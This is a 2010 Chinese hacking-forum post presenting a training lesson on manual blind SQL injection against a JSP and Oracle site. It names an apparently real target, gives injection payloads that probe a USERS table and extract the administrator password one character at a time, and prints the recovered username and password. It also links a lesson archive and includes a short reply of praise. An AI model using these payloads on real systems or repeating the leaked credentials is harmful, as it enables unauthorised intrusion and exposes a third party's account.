找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1679|回复: 1

免费培训之脚本渗透第十一课:手工注入jsp+Oracle

[复制链接]

72

主题

0

回帖

360

牛毛

一级牛人

积分
360
发表于 2010-12-18 19:50:23 | 显示全部楼层 |阅读模式 来自 贵州省黔东南州凯里市
饭客网络一周年免费培训之脚本渗透第十一课:手工注入jsp+Oracle

教程名称:手工注入jsp+Oracle
讲师:I.n.c゛啵、 QQ:380****7774
http://www.jwzx.com/

/*  mysql
--  mssql oracle
;   mssql
and (select count (type) from USERS)>0--
username password
utype 8
and (select count (*) from USERS where type=8)=1--
and (select length (password) from USERS where type=8)>5--
账号长度:9  密码长度:4
and (select ascii (substr (username,2,1)) from USERS where type=8)>97
108   l  110  n
账号: lntujwcgl  密码:lyang
http://www.hackfans.com.cn/mianfei/jiaoben/jb11.rar

0

主题

609

回帖

666

牛毛

一级牛人

积分
666
发表于 2010-12-20 11:24:20 | 显示全部楼层 来自 湖北省武汉市
见识了,很好!
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-28 02:44 , Processed in 0.409444 second(s), 38 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表